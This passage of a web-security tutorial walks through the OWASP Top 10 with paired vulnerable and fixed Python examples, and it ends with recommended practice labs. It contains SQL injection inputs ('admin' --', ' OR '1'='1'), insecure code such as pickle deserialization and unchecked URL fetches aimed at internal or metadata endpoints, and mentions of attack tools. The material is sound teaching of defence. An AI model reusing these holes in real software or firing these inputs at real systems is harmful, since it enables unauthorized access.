&lt;span class="c1"&gt;# Or using MD5 (crackable in seconds)
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;md5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — use strong, adaptive hashing (bcrypt, Argon2):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;bcrypt&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashpw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gensalt&lt;/span&gt;

&lt;span class="n"&gt;hashed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;hashpw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="nf"&gt;gensalt&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="c1"&gt;# Store 'hashed' in DB.
# Also enforce HTTPS everywhere – use HSTS header.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Tool: sslscan for HTTPS config, hashcat to test weak password hashes.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A03: Injection (SQL, NoSQL, OS Command, LDAP…)
&lt;/h2&gt;

&lt;p&gt;What it is: Attacker sends malicious input that gets interpreted as a command. Classic example: ' OR '1'='1 logging you in without a password.&lt;/p&gt;

&lt;p&gt;Vulnerable code (string concatenation):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE name = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; AND pass = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
&lt;span class="c1"&gt;# Input: username = "admin' --" -&amp;gt; bypasses password check!
&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — use parameterized queries / ORM:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE name = %s AND pass = %s&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Or use an ORM like SQLAlchemy which escapes automatically.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Tool: sqlmap (automated detection) or Burp Scanner.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A04: Insecure Design
&lt;/h2&gt;

&lt;p&gt;What it is: Flaws in the architecture or workflow — not a single line of code, but a design that makes security impossible. Example: a password reset that sends the new password by email (in plain text).&lt;/p&gt;

&lt;p&gt;Vulnerable design:&lt;br&gt;
“Forgot password” emails your current password in plain text. That means the system stored it reversibly — huge risk.&lt;/p&gt;

&lt;p&gt;Fix — design with security in mind:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Never store passwords reversibly.&lt;/li&gt;
&lt;li&gt;    Password reset should send a time‑limited token (not a new password).&lt;/li&gt;
&lt;li&gt;    Use threat modeling (e.g., STRIDE) before writing code.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: OWASP Threat Dragon for threat modeling diagrams.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  A05: Security Misconfiguration
&lt;/h2&gt;

&lt;p&gt;What it is: Default passwords, verbose error messages, unnecessary features enabled, missing security headers.&lt;/p&gt;

&lt;p&gt;Vulnerable example (Flask debug mode in production):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# Shows full stack traces to attackers – exposes code!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — secure configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Use environment variables
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="n"&gt;debug_mode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;FLASK_DEBUG&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;False&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;debug_mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And add security headers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.after_request&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;add_security_headers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;X-Content-Type-Options&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;nosniff&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;X-Frame-Options&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;DENY&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Strict-Transport-Security&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;max-age=31536000&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Tool: Nmap scripts for misconfig, OWASP ZAP passive scanner.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A06: Vulnerable and Outdated Components
&lt;/h2&gt;

&lt;p&gt;What it is: You use a library like lodash or Flask with a known CVE (Common Vulnerability). Attackers scan for these.&lt;br&gt;
Download the Medium app&lt;/p&gt;

&lt;p&gt;Vulnerable scenario:&lt;br&gt;
Your requirements.txt has Flask==1.0.2 (released 2018 – many security fixes since). An attacker finds a public exploit for older Flask.&lt;/p&gt;

&lt;p&gt;Fix — keep dependencies updated:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    Run pip list --outdated regularly.&lt;/li&gt;
&lt;li&gt;    Use Dependabot (GitHub) or Snyk to auto‑open PRs.&lt;/li&gt;
&lt;li&gt;    Before installing a new package, check npm audit or safety check.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: OWASP Dependency-Check (free, scans for known vulnerabilities).&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  A07: Identification and Authentication Failures
&lt;/h2&gt;

&lt;p&gt;What it is: Weak session management, no MFA, credential stuffing vulnerabilities, or session IDs in URLs.&lt;/p&gt;

&lt;p&gt;Vulnerable code (session in URL):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# http://example.com/profile?session_id=abc123
# Attacker steals this link – now they're logged in as you.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — use framework session management (secure flags):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;SESSION_COOKIE_SECURE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;# only over HTTPS
&lt;/span&gt;    &lt;span class="n"&gt;SESSION_COOKIE_HTTPONLY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;# no JavaScript access
&lt;/span&gt;    &lt;span class="n"&gt;SESSION_COOKIE_SAMESITE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Lax&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Never put session in URL.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Also enforce rate limiting on login attempts and offer MFA.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: hydra or ffuf for brute‑force testing.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A08: Software and Data Integrity Failures
&lt;/h2&gt;

&lt;p&gt;What it is: You trust software or data from an untrusted source without verifying integrity. For example, downloading a dependency over HTTP (not HTTPS) or deserializing untrusted data.&lt;/p&gt;

&lt;p&gt;Vulnerable example (pickle deserialization in Python):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user_data&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# Can execute arbitrary code!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — avoid pickle on untrusted input, use JSON with schema validation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;
&lt;span class="nf"&gt;except &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JSONDecodeError&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And pin dependency hashes (using pipenv or poetry) to prevent supply chain attacks.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: in-toto or Sigstore for integrity verification.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A09: Security Logging and Monitoring Failures
&lt;/h2&gt;

&lt;p&gt;What it is: You don’t log attacks, or you log sensitive data, or you never monitor logs. So you only discover a breach months later (if ever).&lt;/p&gt;

&lt;p&gt;Vulnerable — no logging:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="c1"&gt;# user logs in – but no record of failed attempts
&lt;/span&gt;    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — log security‑relevant events:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;
&lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basicConfig&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INFO&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;login_failed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warning&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Failed login attempt for &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; from &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;remote_addr&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Successful login for &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Don’t log passwords or session tokens. Send logs to a central system (ELK, Splunk) and set up alerts for multiple failures.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: OWASP AppSensor — defines detection points.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  A10: Server‑Side Request Forgery (SSRF)
&lt;/h2&gt;

&lt;p&gt;What it is: Attacker makes your server send requests to internal systems (like &lt;a href="http://localhost:8080/admin" rel="noopener noreferrer"&gt;http://localhost:8080/admin&lt;/a&gt; or AWS metadata endpoint 169.254.169.254).&lt;/p&gt;

&lt;p&gt;Vulnerable code (fetching a user‑supplied URL):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;webhook&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# Can hit internal services!
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fix — allowlist allowed domains / IPs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urllib.parse&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;urlparse&lt;/span&gt;

&lt;span class="n"&gt;allowed_hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;api.example.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;trusted-service.com&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;parsed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;urlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hostname&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;abort&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better: use a separate internal firewall and disable HTTP redirects.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tool: SSRFmap (automated exploitation tool).&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbwgrpxxfig2i12aju06.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbwgrpxxfig2i12aju06.png" alt="Mahdi Shamlou" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Test Yourself (Hands‑On)
&lt;/h2&gt;

&lt;p&gt;Reading about vulnerabilities isn’t enough — you need to practice.&lt;/p&gt;

&lt;p&gt;I recommend these free, safe environments:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;    PortSwigger Web Security Academy — free labs for every OWASP Top 10 category.&lt;/li&gt;
&lt;li&gt;    OWASP Juice Shop — an intentionally vulnerable web app you can run locally (in Docker) and hack.&lt;/li&gt;
&lt;li&gt;    TryHackMe or HackTheBox — beginner rooms for web security.&lt;/li&gt;
&lt;/ul&gt;

